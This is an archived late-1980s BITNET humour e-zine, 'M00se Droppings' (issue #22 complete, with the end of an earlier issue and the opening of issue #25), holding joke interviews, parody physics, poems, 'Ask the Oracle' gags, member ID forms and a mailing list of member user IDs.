MD: Excuse us if this is a *personal* question, but why the name "Pickle"?
P: It's not phallic. Sorry to disappoint you. It actually comes from the
time many years ago when several of my friends accidentally called me
"Dill Bickson". It became Dill Pickle, then eventually was shortened to
Pickle.
MD: I see. Has being a M00se changed your lifestyle any?
P: Well, I'm not allowed on many forms of public transport, and I have to
wash myself in a rather special way. On the other hand, many major
governments fear me, and sometimes pay me huge sums for pieces of
information that the Secret M00se Service has picked up here and there.
MD: What do your friends and close relatives think of your involvement
in this organization?
P: Well, most of them are in the organization themselves. Those that aren't
tend not to believe in it.
MD: What does the FBI think of your activities?
P: Well, they're terrified, of course. They keep agents around me twenty-
four hours a day, disguised as college dorm-mates, professors, little
lead Call of Cthulhu figures, squirrels, and sadistic Public Safety
officers. I think the cleaning woman is the head agent, though. She
goes through my garbage looking for documents.
MD: If you could describe yourself in one word, what would it be?
P: Blue.
MD: Interesting. Why did you choose that particular word?
P: Well, you didn't give me much time, you know....
MD: Has there been any history of insanity in your family? 8)
P: Oh, yeah, I think so. Lots of my relatives are nuts. Least, I think so.
MD: What do you think about the recent data showing that Hostess Twinkies have
a shelf-life of over 50 years?
P: Oh, I believe it. I don't think they've made a Hostess Twinkie in forty-
five years. Think of the efficiency. Churn out 800 million Twinkies
every fifty years, then fire everybody but your marketing and
distribution people.
MD: Have you ever had any "out-of-body" experiences?
P: What are you doing after the interview?
MD: Have you ever had any "out-of-mind" experiences?
P: What ARE you doing after the interview?
MD: Pickle. Who *is* the REAL Pickle? What's he REALLY like?
P: Well, unless I *am* a clone, you're looking at him. I FEEL real...
MD: If you could sum up your lunch in one word, what would it be?
P: Really horrible.
MD: Oh, I see ARA services your university...
P: Let's change the subject, okay?
MD: Is there anything you *really* want to say to all the M00ses out there?
P: Yes. English majors are the personification of intelligence. Scopin' out
the ghost. "Pulled away" refers to the knee of a man who is suspicious
or tired.
MD: Thank you for your time.
P: Hey, that recorder isn't actually on, is it?
- - - - - - - - - - - - - - - - - - - -
THE REVISED M00SE ILLUMINATI SHORT-FORM ID FILE
<Since we've received a few ID's which have been rather voluminous, we've
decided to send this out again (with an addition made by Pickle). If you
want your ID printed in one of the following issues of M00se Droppings,
please fill this form out and send it to WITHALL@CTSTATEU. To those of
you who *have* filled one out and sent it to us: we're kind of out of space
in this issue, so we'll print yours starting with Issue number 22.>
FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD
The Official M00se Illuminati Identification Form
Chapter Name: ____________________________________________________
Nickname(s): ____________________________________________________
Life Form: ____________________________________________________
Sex: Male ___ Female ___ Hermaphrodite ___ Other ___
Net Address: ________@________ Purity Quotient: _______%
Description: ____________________________________________________
____________________________________________________
____________________________________________________
Favourite Saying: ____________________________________________________
Other Stuff: ____________________________________________________
____________________________________________________
____________________________________________________
____________________________________________________
____________________________________________________
FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
ADD:
Buffalo Thr0ng V109MEN5 @ UBVMS 0.Dm00se
DELETE:
U of Vermont Chapter DZUCKER @ UVMVM dzucker
For those of you who may no longer have the full M00se List, a fresh new
copy will be sent out in the next issue.
PLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNW

754
textfiles.com/magazines/M00SE/m00se22 Normal file
View File

@@ -0,0 +1,754 @@
_ /\ _ _ /\ _
/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \
\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/
/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
/__________\ M M 0000 0000 SSSSS EEEEEEE /__________\
DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #22| Disclaimer: The Editors will place almost anything | Mar. 2, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame them for the quality or content of the submissions.
Excepting those they may have written themselves, the enclosed items do not in
any way represent the Editors' opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
===============================================================================
The Index
EDITORIALS AND LETTERS An Editorial.
EVENTS AND NEWS Various & sundry items of [dis]interest
FICTION AND POETRY Romance, Quantum Cat's ID, The Lemon
M00SCELLANEOUS NONSENSE Love is Hell
ASK THE ORACLE More Answers to Life, the Universe, & Spam
MEET THE M00SES Alacrity, SalmonM00se
M00SE LIST UPDATE The complete list...
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
"Nice computers don't go down!"
Greetings All & Bl00p to Ya!
Well another (how many?) rotations of the Earth, and M00se Droppings
did not get out as planned. :( The reason for this, to be honest, is lack
of submissions. We need lots of submissions to have this on-going madness
continue... So please, send send SEND submissions...(droool, wimper, beg..)
Enough of that. Our very first issue came out and we were quite pleased
with it. We hope you were all as pleased. :*) We included page headers for
those who like to print MD out, but due to incompatibilities amongst host
machines, this didn't work out as planned. Oh well... we tried.
About the Mega-Thr0ng-A-Th0n, we still would like input: suggestions,
scribblings, mad ravings, whatever... The idea still sounds like a good
one to us (Pickle, SalmonM00se and Goblin). We will try and help things along
by making suggestions or guest appearances (hint hint...*grin*).
We've still included an index, but without page numbers it'll be a little
harder to find things. (Hmmm, we could always do it by line number...) 8)
Goblin & SalmonM00se
Just A short note: Please, PLEASE include your name/nick with Submissions.
We WANT to give you credit for yer submissions!
Goblin
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
According to our sources, *nothing* officially happened recently. The well-
known (or not-so-well-known) publication, _The_National_Enquirer_, is really
subsidized by Reaganomics.
- - - - - - - - - - - - - - - - - - - -
According to the #@%^! woodchuck, the USA will be having a longer winter than
Canada... (A Bavarian plot?)
- - - - - - - - - - - - - - - - - - - -
Anyone owning a Macintosh: Have you seen the "Talking M00se" Desk Accessory?
It is VERY am00sing. If you're inactive for a specified time, the M00se
will pop up and say something irreverent to you. It is also possible to
add phrases (such as Bl00p) to its vocabulary. For info, ask LEE_JES@CTSTATEU.
- - - - - - - - - - - - - - - - - - - -
According to our sources, the Mega-Thr0ng-A-Thon will occur at the next
planetary conjunction. M00ses wishing otherwise should elect a MTaT
co-ordinator in their area. The co-ordinators will then be able to discuss
the MT-a-T with each other. Other suggestions are welcome as well.
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
Spaceman Biff ....
Yo, hey, hey!
Thanks for all the help rendered on the subject of mollusks and,
in particular, scallops (oooh). I now feel much more secure in accepting
them as valid critters in their own right, but I'm not sure I'd want one
to marry my daughter. If I had a daughter, that is. Anyway, that's not
what I'm writing about tonight. I'd like to address a matter closer to
the heart of much of the human population.
Several years ago a friend of mine and I were discussing what it
is that causes some men to be attracted to certain women, while others
were not, and we worked out some of the mechanics thereof. While the
treatment may seem involved, there are actually several easily
understood fundamentals that m00ses might find of interest.
Basically, despite outward appearances, men are discrete when it
comes to romantic attractions. It is only on the macroscopic level that
they appear indiscrete.
To treat the problem correctly, it is instructive to consider each
man an operator. Then it follows that each of these operators has a set of
women, his eigenwomen, if you will, upon which the operator operates, returning
the same woman, times a constant. Note that men must be hermitian, as these
constants are never complex.
Then, it may be said that every woman to which this operator is
attracted may be represented as a linear combination of his eigenwomen.
"Smoothness" is that quality of having a basis set of eigenwomen that
spans all possible women (the dimension of which set may possibly be
infinite), or to put it more succinctly, such a man is a "smooth
operator." That some peanut butter appeals to all humans serves as an
example; everyone likes smooth peanut butter, but only some people like
chunky. (What are those chunks made out of, anyway?)
Other quantized values, for example, charm, beauty, and
strangeness, have but minor importance, but then, we all have our little
quarks.
I hope that I have shed some light on a topic which causes no
end of confusion to the human populace. I recognize that I will most
probably get a good deal of heat for having couched this entirely from a
makAle standpoint, and in my own defense I should like to say that an
analogous system exists for women and their respective, if not
respectable, eigenmen. However, despite concerted efforts to discover
the nature thereof, I have failed to discern the logic of this
sister system. Perhaps other m00ses might take up here, where I
must leave off.
Fondly,
--Spaceman Biff!!!!!!!!
- - - - - - - - - - - - - - - - - - - -
Here's the latest from QuantumCat the Quintessential (Bl00p!) :
(We liked the ID so much we decided to print it all..)
------====== Quantum Cat ID V2.0.1 ======------
<ST5616@SIUCVMB>
Of candle, book, the bell that rings,
Of time and tide and other things
The Teacher and Creator sings
In darkest night of Earth's new age
Call Him forth to show the way
Through woods where traps the shadows lay
And lead us safely into day
And through the gate to Earth's new age...
I'm a cat of many names
Quantum, Quoter and others
The cheshire dares to call me mad
Of course he knows his brothers...
Give me but a moment
... yes, one or two, should do
Shall I tell the secret of my trade?
... you really want me to?
Maybe but a little hint---
Acrostics CAN be fun
Can YOU appreciate the joke?
How could anyone?
Music is a wond'rous thing, J.S.Bach to some is God
and I could quite agree
But Gil and Sully take their fling, Mock the first, forget the last...
whatever's left is me
/\ /\
\ \/ / Now take the cross of Andrew
\ / It's the cross of Patrick too
/ \ Add a Thompson to the list
/ /\ \ And there you have me too!
\/ \/
Saluki they call my school's mascot
In all the world, this place I chose
Under the rule of Illinose...
Can Avon Ride Beside Orac? No? Did Abraham Leave Eliza?
I'LL Inspire No Ominous Irish Song
But... APT to some IS This
Still.... The Urgency Does Entail No Time
Consider.. Every New Tenement Entered Remembers
What happened on the Nile.. 0 +
Where Livingston would be found -
Who months had been a-seeking -
When Stanley came around? R -
How did they finally meet? M +
Why did I even write it? -
Should this verse be fed to the sharks? +
'tis not clever, but I'll not spite it. 7 +
Ah, poetry gives the mind repose
or feeds the flames of base desire
Makes us fear the lovely rose
and love the fearful raging fire
Yes, poetry will be forever
Though poets all must pass away
Yet once the pageant of life has ended
The poems remain and recall today
- - - - - - - - - - - - - - - - - - - -
(Submitted by R0b0p0pe ??)
The Lemon. A soliloquy delivered in the produce section
O Lemon!
You round
(well maybe not round but kinda funny-shaped)
thing
tell me in your simplicity
about life.
O Lemon!
Surely you know about life
about love
about happiness
You sit on the astroturf stuff in the fruit bin
and look wise.
O Lemon!
Surely if I pick you up
and hold you
I can feel wisdom in your funny bumps
and if I hold you
under my nose
I can smell your knowledge
or if I hold you
next to my ear
I can hear the sounds
of the fruit grove
that was once your home.
O Lemon!
Why do you not answer me?
Well.
Perhaps if I taste you
I can gather your understanding through absorption.
O Lemon!
(burp)
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
This Submission is from Pickle :)
Excerpts from Matt Groening's book _Love_Is_Hell_. The book is a collection of
his cartoons, called "Life In Hell". Highly recommended, especially if you can
get the boxed set, "Box Full Of Hell".
WHAT THE GREAT PHILOSOPHERS HAVE SAID VIS-A-VIS LOVE
"Love is a slippery eel that bites like hell." -- Bertrand Russell
"Love is a perky elf dancing a merry jig and then suddenly he turns on you with
a miniature machine-gun." -- Kierkegaard
"Love is a snowmobile racing across the tundra and then suddenly it flips and
pins you underneath. At night, the ice weasels come." -- Nietzsche
Watch out for these early warning signs of love:
1) Bouncy step
2) Goo-goo eyes
3) Babbling
4) Bored friends
Avoid sharing affection with people wearing desperate t-shirts.
"Will you be my friend?"
Forbidden conversation topics in bed:
1) Local elections
2) Septic tanks
3) Chores
4) Your partner's shortcomings ("Did anyone ever tell you you grunt
amusingly when you make love?")
When getting undressed with a new friend for the first time, do not try to
break the tension by gesticulating wildly and making comical throat noises.
"Geeba geeba geeba."
Warning signs your lover is getting bored:
1) Passionless kisses
2) Frequent sighing
3) Moved; left no forwarding address
Advantages of heartbreak:
1) More room in bed
2) Time slows to a crawl
3) Opportunity to get in touch with your weeping
When in doubt about how to proceed in love, heed the advice of your closest
friends.
"Don't let yer meatloaf!"
Be considerate. After mesmerizing your friends for hours with details of your
love miseries, be sure to feign interest when they start babbling about their
insignificant problems.
"So I go, 'Oh yeah?' and she goes 'Yeah!!' So I go--"
If you're going to argue with your partner at a restaurant, make it a cheap
one, because you won't be tasting your food anyhow.
"How's your duck l'orange, stupid?"
"Shut up and eat yer truffles."
Do not make jocular marriage proposals if you don't want to get clobbered.
"Will you mar--"
"Oh, yes!"
"--inate this steak for me?"
When hanging up angrily on a lover, watch those fingers!
"Go to hell!!" SLAM! "OW!!!"
Do not write and publish any books while in the midst of complete and utter
heartbreak.
_They're_ALL_Sons_Of_Bitches_ (vol. I)
Do not take love advice from cynical, embittered, sarcastic cartoon strips.
"Do you take this man to be your lawful wedded husband?"
"Him?"
--------------------------------------------------------------------------------
******************************* ASK THE ORACLE *********************************
--------------------------------------------------------------------------------
Here, from Hal Eisen, is more "Ask the Oracle"...
- - - - - - - - - - - - - - - - - - - -
What does the Oracle do after it gets off from work?
The Oracle has answered your question as follows:
What any other good oracle does...chill out...have a beer or 3...
play games....watch tv...see his gal... ;-)
- - - - - - - - - - - - - - - - - - - -
If deer are camouflaged by being brown, why aren't cows camouflaged by
being green?
The Oracle has answered your question as follows:
It is obvious that the cows' camouflage has worked exceedingly well.
In fact, it has worked so well that nobody has ever seen a green cow
around, as they are too well hidden. By comparison, the brown
with white splotches which deer refer to as their 'camouflage' is nothing.
- - - - - - - - - - - - - - - - - - - -
Hey Oracle - -
What do signs that say "Proper Identification Required" mean?
Is there such thing as "Improper Identification?"
The Oracle has answered your question as follows:
Such signs mean different things in different countries:
In Britain: You will be escorted out of the area if found within.
In the U.S: You will be escorted out in handcuffs.
In Germany: You will be put in jail for a month.
In Italy: You will be put in jail for a year.
In Russia: You will be sent to Siberia for five years.
In Turkey: You will be shot by a guard.
In Bulgaria: You will be tortured on the spot for five days, then
shot in the head at close range.
Improper identification is such an item as a driver's license, say, when
a Cosmic Top Security Nato Clearance Pass is required.
- - - - - - - - - - - - - - - - - - - -
How did humankind ever get along without computers?
The Oracle has answered your question as follows:
This is a very brilliant question, on the scale of questions to the
Oracle. The answer is: paper. There was a strange and arcane art, now
lost to mankind, but once known as "writing," which allowed humans to
record data and even perform simple calculations on a sheet of "paper."
Paper was a very thin, white substance, the art of whose making has also
been lost to mankind, but which was created, by a secret but subsidized
process, from old-growth rainforest from the Tongass National Park.
Perhaps the reason this substance fell into disuse was that there is now
no plant life taller than six feet existing on Earth today. Paper was,
of course, in the Oracle's unbiased opinion, a far worse medium than
silicon, but was far superior for wiping the rear end.
- - - - - - - - - - - - - - - - - - - -
Are there really people who just won't ever be rational?
The Oracle has answered your question as follows:
yes...in fact, you can count them.
there are exactly pi of them.
- - - - - - - - - - - - - - - - - - - -
Explain the American electoral process, using only vocabulary and phrasing
which the average American would understand.
The Oracle has answered your question as follows:
screw the middle class...
- - - - - - - - - - - - - - - - - - - -
What would the world be like if 12 wasn't a prime number?
The Oracle has answered your question as follows:
The world would be vastly changed for the worse. Individual countries
would be in about the same place, but many things would be changed:
- There would be a new nation, about where the junction between
Spain, Italy, and Germany is now, called "France". It would
be populated by the most obnoxious people in history.
- The country "Russia" would be governed by a weird and bizarre system
known as "Communism". Despite having failed economically for 60
years, their leaders would be trying to spread "Communism", most
often by invading their neighbors.
- There would be many so called "religions", spread about the world.
They would involve the idea that, rather than being dead for good,
a person goes someplace after death. Why anyone would think that
is a mystery to the Oracle.
- The almost unknown (in the present world) bug called the "mosquito"
would have an appendage solely for the drinking of blood from animals
while still living. It would spread horrible diseases by this
method.
These are just a few examples. No one would want to live in a world
where 12 was not prime; in fact, there would be many suicides.
- - - - - - - - - - - - - - - - - - - -
How long can you tread water?
The Oracle has answered your question as follows:
WEll, let me put it this way.
say an evil scientist captured me and brought me to his
evil laboratory and strapped me into an
evil machine that went
WHIRRRRRR
and
BUZZZZZZZZ
and whose sole evil purpose was to evilly create and
an exact copy of myself whose very essence and being
down to the last atom was identical to me in every way.
I would be able to tread water as long as he could.
--------------------------------------------------------------------------------
****************************** MEET THE M00SES *********************************
--------------------------------------------------------------------------------
THE REVISED M00SE ILLUMINATI SHORT-FORM ID FILE
<Since we've received a few ID's which have been rather voluminous, we've
decided to send this out again (with an addition made by Pickle). If you
want your ID printed in one of the following issues of M00se Droppings,
please fill this form out and send it to WITHALL@CTSTATEU. To those of
you who *have* filled one out and sent it to us: we're kind of out of space
in this issue, so we'll print yours starting with Issue number 22.>
The short form..
FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD
The Official M00se Illuminati Identification Form
Chapter Name: ____________________________________________________
Nickname(s): ____________________________________________________
Life Form: ____________________________________________________
Sex: Male ___ Female ___ Hermaphrodite ___ Other ___
Net Address: ________@________ Purity Quotient: _______%
Description: ____________________________________________________
____________________________________________________
____________________________________________________
Favourite Saying: ____________________________________________________
Other Stuff: ____________________________________________________
____________________________________________________
____________________________________________________
____________________________________________________
____________________________________________________
FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD
- - - - - - - - - - - - - - - - - - - -
Here in Our latest meet the m00ses is Alacrity's ID...
The Official M00se Illuminati Identification Form
Chapter Name: John P. Bankert_____________________________________
Nickname(s): CHAOS Engineer, Alacrity, Expletive Deleted_________
Life Form: Intelligent potted palm_____________________________
Sex: Male ___ Female ___ Hermaphrodite ___ Other XXX
Net Address: jbankert@sunrise_
Description: about 5.5 feet tall, kinda tree trunkish except for_
these leaves on top_________________________________
Favourite Saying: If it works, fix it, if it doesn't, don't___________
Other Stuff: I enjoy being watered about once a week and am______
seeking an attractive fern for a meaningful_________
relationship with possible long term commitment_____
- - - - - - - - - - - - - - - - - - - -
Since Goblin thought my original introduction to this part wasn't right,
here's her introduction:
The ID file of one of the well.. well lamebrained editors of this here magazine:
The Official M00se Illuminati Identification Form
Chapter Name: Jeff Lee
Nickname(s): Godfrey de Shipbrook, SalmonM00se, Nodefinger
Life Form: Random, though usually humanoid
Sex: Male XXX Female Hermaphrodite Other
Net Address: LEE_JES @CTSTATEU Purity Quotient: 48.8%
Description: Usually about 5'8", blond, hazel eyes (3), 120#.
Usually wears black.
Favourite Saying: Do not meddle in the affairs of cats, for they are
subtle and will piss on your computer.
Other Stuff: Heavily involved in the SCA, computers, music. Also
involved in art (drawing), writing, and other stuff...
SCA activities: Fighting, fencing, archery, heraldry,
mead brewing, calligraphy/illumination, crossbow,
music (singer/lutenist), armouring (mostly chainmail),
garbmaking, cooking...
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
This week, for all those of you who have lost, deleted, folded, bended,
spindled, or mutilated your old copy of the M00se List: A fresh new one!
Notes about the New List: Wolverine is now known as Lord Trelf, and both
he and Lord Sabre now have new net addresses.
TOTAL CHAPTERS: 132
THRONG/CHAPTER USERID NODE NAME
--------------------------------------------------------------------------------
Alaska thr0ng FSDEM2 @ ALASKA Mugwump
FSJBK @ ALASKA G00se
JSJPC1 @ ALASKA Jonathan
RECS012 @ ALASKA Josh VanDyke
Binghamton thr0ng FR0130 @ BINGVMA Pig Dung
FR0250 @ BINGVMA Red Rock Mud Puddle
Boston University thr0ng CLXLAUC @ BUACCA Rorshach
ENLDC8C @ BUACCA Paladin
LAN @ BUCSF.BU.EDU
Larry Nathanson
Brockport thr0ng DS1437 @ BROCK1P Don Schleede
ERIK @ BROCK1P E-Rock
MW2440 @ BROCK1P Mark Weiland
Bucknell University chapter SHAFFERJ @ BKNLVMS James Shaffer
Buffalo thr0ng V054NN84 @ UBVMSA Foto/PacifistM00se
V123P62M @ UBVMSC Lorelei
V047KFZ7 @ UBVMSD Roachm00se
V056GZPK @ UBVMSD BritM00se
V065L4KV @ UBVMSD Donald Duck
V067LUFD @ UBVMSD Riff, DeathM00se
V068GZ8E @ UBVMSD Evil
V068KY46 @ UBVMSD Ineedanickname
V068MVHU @ UBVMSD Brandy
V078QM32 @ UBVMSD F00nels
V083PBXV @ UBVMSD Sindar
V085PWPZ @ UBVMSD Valerie. :)
V096NHDQ @ UBVMSD Chris M00spaw
V097NQQG @ UBVMSD EXPL0RER 01
V098PZJD @ UBVMSD Cardinal M00se
V101PYRW @ UBVMSD Villager M00se
V110JQ34 @ UBVMSD The Reverend M00ster
V122QQVZ @ UBVMSD Sweeper M00se
V133NNUW @ UBVMSD BigBadM00se
V291NHTP @ UBVMSD WarM00se, DangerM00se
IN%"JJZ @ S.CC.PURDUE.EDU"
ChickenM00se
Connecticut College chapter IJDIC @ CONNCOLL Scub
Connecticut State U thr0ng CLAFFEY_JOR @ CTSTATEU Indiana Joe
COLANGELO @ CTSTATEU Ken Colangelo
CRAMER @ CTSTATEU Scopus
HENNEQUI_WEM @ CTSTATEU Anonym00se
LEE_JES @ CTSTATEU SalmonM00se
PHINNEY_AVK @ CTSTATEU Phredde
WITHALL @ CTSTATEU Goblin
Cornell thr0ng CBRY @ CORNELLA Ladykate
ZEMANIAN%CHEME.DECNET @ CHEME.TN.CORNELL.EDU
Spaceman Biff
CUNY chapter P02QC @ CUNYVM Mike
Drew chapter MHEAD @ DREW Drewid
HABiT (H0use 0f Ap0stles DB06103 @ UAFSYSB M00se Man
0f Biggles Thr0ng) DB06103 @ UAFSYSB Ms. M00se
JC06081 @ UAFSYSB Nemesis Milph
SH06078 @ UAFSYSB Dave T. Dead/R0b0p0pe
Hartford thr0ng AHRENS @ HARTFORD Wrangle
BEAUBIEN @ HARTFORD Sindex
DICKSON @ HARTFORD Pickle/MOON ROACH!
MELINOSKY @ HARTFORD Slick Jones
ROSSI @ HARTFORD The Chairman
SZIMMERM @ HARTFORD Greymalkin
WEIMAN @ HARTFORD Rhiannon/Sushi
Haverford thr0ng K_KRAVITZ @ HVRFORD Q.
S_BLINN @ HVRFORD Sean Blinn
JHU (??) chapter INS_AHJE @ JHUVMS Spocko
Lansing, NY thr0ng B45J @ CORNELLA Lord Sabre
B45J @ CRNLVAX5 Half-Elf
B45J @ CRNLVAX5 The Innkeeper
TQMY @ CRNLVAX5 Lord Trelf
Loyola thr0ng FRANK @ LOYVAX Spank
GAIL @ LOYVAX Sybil
KEVIN @ LOYVAX
Mr. Sparebuttonssuppliedwithhisshirt
MARKUS @ LOYVAX Markus
MARY_BETH @ LOYVAX Mary Beth
PAMELA @ LOYVAX Mommydammit
STASA @ LOYVAX Phoenix
TERESA @ LOYVAX Teresa
VANIDOR @ LOYVAX Vanidor
Maine chapter IO80222 @ MAINE Rainmaker
North Dakota State U. chapter UD140680 @ NDSUVM1 The Anachronist
Northeastern U. ACM_MDB @ NUHUB The_Sage
Nova Scotia chapter 01GORF @ DALAC Terry Grignon
0ber0n Trading Thr0ng ST5616 @ SIUCVMB QuantumCat
ST6344 @ SIUCVMB Black_D0G the pirate
Old Dominion University thr0ng LBS100S @ ODUVM (nick unknown)
MRH100C @ ODUVM Frizbog Gordnik
SAB100C @ ODUVM Sandi Bedford
Penn State thr0ng JLA @ HOGBBS.FIDONET.ORG
James L. Anderson
MSP @ PSUECL Mark S. Pfaff
WCF @ PSUECL Bill Fenner
Portland thr0ng IP60591 @ PORTLAND Centauri
IP75004 @ PORTLAND Blazer
IP85014 @ PORTLAND qwerty
IP85033 @ PORTLAND Mitsya the Red M00se
Siberacuse thr0ng CRUSSELL @ SUNRISE GypsyLynx
DPFLINT @ SUNRISE Sandman
JBANKERT @ SUNRISE CHAOS Engineer
RABEELER @ SUNRISE Beez
RETANTS @ SUNRISE Scamp
VASISON @ SUNRISE Vince Sison
LIBISU2 @ SUVM Guardian Angel
LIBLJR @ SUVM Niniane
Stony Brook thr0ng BOWIEDEB @ SBCCVM But_You_Can_Call_Me_Maude
FNORD @ SBCCVM Fnord
JROSENSH @ SBCCVM Joanne Rosenshein
RRKHAN @ SBCCVM Romel
WALL @ SBCCVM Wall
Sweden chapter ICE @ SEQZ51 Ice
Towson State U. chapter S76NING @ TOWSONVX Paul
Trinity thr0ng CWELLER @ TRINCC Din0m00se
FANTASYG @ TRINCC Trinity Fantasy Guild
OPER3 @ TRINCC Razz
REWING @ TRINCC Slick Rick
U California Riverside chapter WATKINS @ UCRVMS Kevin
UConn chapter WALLFESH @ UCONNVM Sande
University of Missouri chapter C482529 @ UMCVMB Count_Zero
U of New Hampshire chapter J_BUTMAN @ UNHH Oliver
U of Vermont chapter DZUCKER @ UVMVM dzucker
Villanova thr0ng 054649739 @ VUVAXCOM Satoru Ushiyama
188622462 @ VUVAXCOM Kamikaze
580074787 @ VUVAXCOM Fiben
59401463 @ VUVAXCOM Starscream
SWORD05 @ VUVAXCOM Ford Prefect
WATER @ VUVAXCOM The Doctor
Washington State U. thr0ng 24945863 @ WSUVM1 Bard
23480853 @ WSUVM1 Ishtar
90289872 @ WSUVM1 Cthulhu
Wesleyan thr0ng AG @ WESLEYAN Damsel
EAUBRY @ WESLEYAN ED
JBLUESTEIN @ WESLEYAN WabeWalker
JVINCENT @ WESLEYAN Lord Rassilon
JDOTY @ WESLEYAN The Keeper
LBURKA @ WESLEYAN The Heresiarch
LGREENSTEIN @ WESLEYAN Pope Atheist I
LMARR @ WESLEYAN His Serene Randomness
RSIMON @ WESLEYAN Roanic
Xavier chapter BRUGGMNJ @ XAVIER the WILD ONE!!!
PLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNW

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_ /\ _ _ /\ _
/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \
\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/
/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
/__________\ M M 0000 0000 SSSSS EEEEEEE /__________\
DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #25| Disclaimer: The Editors will place almost anything | MAY 18, 1989
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame them for the quality or content of the submissions.
Excepting those they may have written themselves, the enclosed items do not in
any way represent the Editors' opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
BL00p!
PLEASE, if you're going away for the summer, or if your account is deactivated,
send a message to LEE_JES@CTSTATEU! If your messages bounce, you will be
removed from the mailing list.
Summer is here and finals dead in the dust. M00se Droppings will continue,
even if its editors do defect to the beach. We hope that those of you who
will be with us continue to send more of your great submissions. Recently
we received several songs from the Buffalo Thr0ng, we especially liked the one
taken from Paul Sim00se! (Maybe we should make Paul S. an honorary member?)
Nothing else is really new in Twinkie-Land, so this is it for the Editorial.
- Goblin WITHALL@CTSTATEU (Bitnet)
- SalmonM00se LEE_JES@CTSTATEU (Bitnet)
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
MD reporters in Canada have been reported visiting M00se Jaw where they
took photographic evidence of The Giant M00se. The Giant M00se is suspected
of being the ringleader of the doubtful organization H.O.O.F. Little evidence
has turned up to support this either way. The following reporters have been
listed as missing in action: BackDoorM00se and Mickey M00se.
- - - - - - - - - - - - - - - - - - - -
Reports of a Mini-Thr0ng-A-Th0n taking place in Connecticut have been proven
true. Those of you interested contact WITHALL@CTSTATEU (Goblin).
- - - - - - - - - - - - - - - - - - - -
If interested in M00se Illuminati T-SHIRT's contact DICKSON@HARTFORD.
- - - - - - - - - - - - - - - - - - - -
The Rotation of the Earth shifting 1/800 of a millimeter has caused the loss
of three coat hangers into orbit. Will this bring the end of life as we know
it? Will the population on Alpha Centauri be wiped out? Worse yet, will they
multiply and cause a hostile takeover of the Galactic Trade Center? More news
at 10.
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
From GypsyLynx......
All that talk of fish in the last issue made me hungry and very
confused....that's what I get for being a Pisces cat-m00se, I
guess.
A fish is a fish, of course,
(unless its a horse)
A dog is a dog of course
(and never feels remorse)
But what, pray tell is a m00se?
(or worse yet, a m00se on the l00se?)
I saw one yesterday in a sluice
(sipping papaya juice?)
CARussell
- - - - - - - - - - - - - - - - - - - - - - - - - - -
More conf00sing fiction from Zem00se & Gund, the hip m00se...
*** No silly songs. Just some fiction! ***
A while ago I posted about how I got a good deal on my '53 St00debaker by
buying from a m00se. It was suggested that I tell the story of that car and
how I got it.
It was 1976. April, I believe. My current 32 Chevy truck was not working
well. Actually, it was not working at all. The transmission (a chain) was
bad (kinky -- the chain was, I mean). And the engine was, well, not well.
So I decided to ponder the local automobile establishments and get myself a
new chariot -- at least something with a REAL transmission. I stopped my
several places: Boffo's Wheel Emporium, Smiling Arnold's, and even Fred's
Place for Buying Cars (aptly named because Fred didn't sell iguana feed).
None of them had the proper price on a car I wanted. Basically, I wanted a
car with power everything, and a double-digit price tag (decimal included).
Nobody seemed right.
But then I read an ad in the "News and Times" (aptly named because they
didn't report on iguana feed). The ad was from Bullwinkle's Car Shop. I
